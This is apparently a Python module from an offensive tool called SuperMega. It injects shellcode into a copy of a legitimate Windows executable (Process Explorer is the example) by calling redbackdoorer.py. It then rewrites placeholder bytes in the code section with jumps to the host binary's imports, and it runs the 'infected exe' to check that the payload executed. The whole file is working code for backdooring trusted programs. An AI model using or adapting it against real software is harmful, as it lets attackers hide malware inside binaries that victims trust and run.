Files
SuperMega/phases/shctoexe.py
T
2024-02-09 13:43:42 +00:00

84 lines
2.5 KiB
Python

from helper import *
import shutil
import pprint
from pehelper import *
def inject_exe(shc_file, exe_in, exe_out, mode, exe_capabilities):
print("--[ Injecting: {} into: {} -> {} ]".format(
shc_file, exe_in, exe_out
))
shutil.copyfile(exe_in, exe_out)
# python3.exe .\redbackdoorer.py 1,1 main-clean-append.bin .\exes\procexp64-a.exe
subprocess.run([
"python3.exe",
"redbackdoorer.py",
mode,
shc_file,
exe_out
], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
# get code section
# get offset from start of code
# get offset of code setion?
####
print("-------------")
#pprint.pprint(exe_capabilities)
for cap in exe_capabilities:
print("-> 0x{:X}\t\t{}".format(
exe_capabilities[cap]["addr"],
cap,
#exe_capabilities["id"],
))
print("-------------")
code = get_code_section(exe_out)
# replace IAT in shellcode
for cap in exe_capabilities:
#print("AAAA: " + str(cap))
if not exe_capabilities[cap]["id"] in code:
print("Not found, abort")
raise Exception()
off = code.index(exe_capabilities[cap]["id"])
current_address = off + 0x140000000 + 4096
print(" Off: 0x{:X}".format(off))
print(" Off2: 0x{:X}".format(current_address)) # base addr
#print(" Diff: 0x{:X}".format())
destination_address = exe_capabilities[cap]["addr"]
jmp = assemble_and_disassemble_jump(
current_address, destination_address
)
print("ONE: {}".format(jmp))
print("TWO: {}".format(exe_capabilities[cap]["id"]))
print("Found! replacing")
code = code.replace(
exe_capabilities[cap]["id"], jmp)
write_code_section(exe_out, code)
def verify_injected_exe(exefile):
print("---[ Verify infected exe: {} ]".format(exefile))
# remove indicator file
pathlib.Path(verify_filename).unlink(missing_ok=True)
subprocess.run([
exefile,
], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) # , check=True
time.sleep(SHC_VERIFY_SLEEP)
if os.path.isfile(verify_filename):
print("---> Verify OK. Infected exe works (file was created)")
# better to remove it immediately
os.remove(verify_filename)
return True
else:
print("---> Verify FAIL. Infected exe does not work (no file created)")
return False